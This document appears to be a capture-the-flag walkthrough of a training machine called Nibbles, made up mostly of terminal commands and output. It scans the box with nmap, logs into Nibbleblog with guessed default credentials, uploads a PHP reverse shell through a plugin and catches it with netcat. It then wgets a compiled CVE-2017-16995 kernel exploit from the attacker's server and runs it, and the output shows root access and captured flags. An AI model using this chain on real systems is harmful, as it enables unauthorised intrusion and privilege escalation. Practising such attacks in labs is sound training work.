```
[]$ nmap -Pn -T4 -A -v 10.129.52.21
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


F12 on http://10.129.52.21 reveals a hint :
/nibbleblog/ directory. Nothing interesting here!

go to http://10.129.52.21/nibbleblog/admin.php/

try admin:nibbles

go to the My_image plugin and try to upload a reverse-php-shell as image.php

set a listener :

[]$ nc -lvnp 1984
listening on [any] 1984 ...
connect to [10.10.14.60] from (UNKNOWN) [10.129.52.21] 41546
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64
x86_64 x86_64 GNU/Linux
11:34:35 up 49 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
nibbler
$

upgrade shell :

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/$ cat /home/nibbler/user.txt
cat /home/nibbler/user.txt
b6746c4a44b6********************

Running  to check for any NOPASSWD binaries

nibbler@Nibbles:/$ sudo -l
sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
   env_reset, mail_badpass,
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

User nibbler may run the following commands on Nibbles:
   (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

```
nibbler@Nibbles:/$ cd /home/nibbler
cd /home/nibbler
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zip
  creating: personal/
  creating: personal/stuff/
 inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ cd /home/nibbler/personal/stuff/
cd /home/nibbler/personal/stuff/
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
monitor.sh

nibbler@Nibbles:/home/nibbler/personal/stuff$ ./monitor.sh
./monitor.sh
TERM environment variable not set.
tput: No value for $TERM and no -T specified
Internet:  Disconnected
Operating System Type : GNU/Linux
OS Name :Ubuntu
UBUNTU_CODENAME=xenial
OS Version :16.04.3 LTS (Xenial Xerus)
Architecture : x86_64
Kernel Release : 4.4.0-104-generic
Hostname : Nibbles
Internal IP : 10.129.52.21 dead:beef::250:56ff:feb9:e5c0
External IP :
Name Servers : DO 1.1.1.1 8.8.8.8
Logged In users :
Ram Usages :
             total        used        free      shared  buff/cache   available
Mem:           974M        228M        240M         10M        505M        563M
Swap Usages :
             total        used        free      shared  buff/cache   available
Swap:          1.0G          0B        1.0G
Disk Usages :
Filesystem                    Size  Used Avail Use% Mounted on
/dev/sda1                     472M  133M  330M  29% /boot
Load Average : 0.00,0.00,0.00
System Uptime Days/(HH:MM) : 1:09

The script tells us that the box is running Ubuntu 16.04.3 with kernel 4.4.0-104.

Searching for exploits for the kernel leads to CVE-2017-16995 with 2 exploits from
exploit-db.com: 44298 and 45010.
45010 needed no modifications so i choose https://www.exploit-db.com/exploits/45010

copied from it]$ cp /usr/share/exploitdb/exploits/linux/local/45010.c .

compiled it to get-root

[]$ python3 -m http.server 8000
```

```
nibbler@Nibbles:/home/nibbler$ wget http://10.10.14.60:8000/get-root
wget http://10.10.14.60:8000/get-root
--2021-01-25 12:26:38--  http://10.10.14.60:8000/get-root
Connecting to 10.10.14.60:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22280 (22K) [application/octet-stream]
Saving to: 'get-root'

get-root            100%[===================>]  21.76K  --.-KB/s    in 0.02s

2021-01-25 12:26:38 (973 KB/s) - 'get-root' saved [22280/22280]

nibbler@Nibbles:/home/nibbler$ chmod +x get-root
chmod +x get-root
nibbler@Nibbles:/home/nibbler$ ./get-root
./get-root
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-
_-t)
[.]
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel
**
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88003204c400
[*] Leaking sock struct from ffff88003a949800
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff88003b779bc0
[*] UID from cred structure: 1001, matches the current: 1001
[*] hammering cred structure at ffff88003b779bc0
[*] credentials patched, launching shell...
# whoami
whoami
root
# cat /root/root.txt
cat /root/root.txt
6b99f48b4deb********************
```